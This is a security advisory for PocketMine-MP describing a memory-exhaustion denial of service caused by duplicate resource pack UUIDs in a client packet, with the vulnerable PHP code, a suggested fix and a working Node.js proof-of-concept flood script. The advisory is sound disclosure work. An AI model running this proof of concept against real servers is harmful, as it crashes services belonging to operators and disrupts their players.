GHSA-fqqv-56h5-f57g

### Summary

A denial-of-service / out-of-memory vulnerability exists in the `STATUS_SEND_PACKS` handling of `ResourcePackClientResponsePacket`. PocketMine-MP processes the `packIds` array without verifying that all entries are unique. A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same `STATUS_SEND_PACKS` packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server. Severity: **High** — Remote DoS from an authenticated client.

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### Details

Relevant code (simplified):

```php case ResourcePackClientResponsePacket::STATUS_SEND_PACKS: foreach($packet->packIds as $uuid){ $splitPos = strpos($uuid, "_"); if($splitPos !== false){ $uuid = substr($uuid, 0, $splitPos); } $pack = $this->getPackById($uuid); if(!($pack instanceof ResourcePack)){ $this->disconnectWithError("Unknown pack $uuid requested..."); return false; } $this->session->sendDataPacket(ResourcePackDataInfoPacket::create( $pack->getPackId(), self::PACK_CHUNK_SIZE, (int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE), $pack->getPackSize(), $pack->getSha256(), false, ResourcePackType::RESOURCES )); } break; ```

**Root cause:**

* The `packIds` array is taken directly from the client packet and processed as-is. * There is no check to ensure that all requested packs are unique. * A malicious client can craft a `STATUS_SEND_PACKS` packet with many duplicates of a valid UUID. * Each duplicate results in the server re-sending the same pack, consuming additional memory.

**Why this is unexpected:**

* Mojang's official clients never send duplicates in `packIds`. * PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.

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**Suggested fix:** Before sending packs:

1. Remove duplicates from the incoming `packIds` array. 2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error. 3. Track which packs have already been sent to this player, and skip any that have already been transferred.

```php $alreadySent = $this->packsSent ?? [];

// Remove duplicates $uniquePackIds = array_unique($packet->packIds);

// Detect abuse if(count($packet->packIds) - count($uniquePackIds) > 2){ $this->disconnectWithError("Too many duplicate resource pack requests"); return false; }

foreach($uniquePackIds as $uuid){ if(in_array($uuid, $alreadySent, true)){ continue; // Skip packs already sent to this player } // existing code... $alreadySent[] = $uuid; }

$this->packsSent = $alreadySent; ```

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### PoC

1. Join a PocketMine-MP server with at least one resource pack enabled. 2. Using a custom Bedrock client, send a `ResourcePackClientResponsePacket` with:

* `status = STATUS_SEND_PACKS` * `packIds` = many duplicates of a known valid pack UUID.

Example Node.js PoC (requires `bedrock-protocol` and a valid `PACK_UUID`):

```js import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1'; const port = 19132; const username = 'test'; const PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID const DUPLICATES = 1000;

const client = createClient({ host, port, username, offline: true });

client.on('spawn', () => { console.log('[*] Sending duplicate pack request...'); client.queue('resource_pack_client_response', { response_status: 'send_packs', resourcepackids: Array(DUPLICATES).fill(PACK_UUID) }); }); ```

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### Impact

* **Type:** Remote Denial of Service / Memory Exhaustion * **Who is impacted:** Any PocketMine-MP server with resource packs enabled * **Requirements:** Attacker must connect to the server (authenticated player) * **Effect:** Server memory rapidly increases, leading to freeze or crash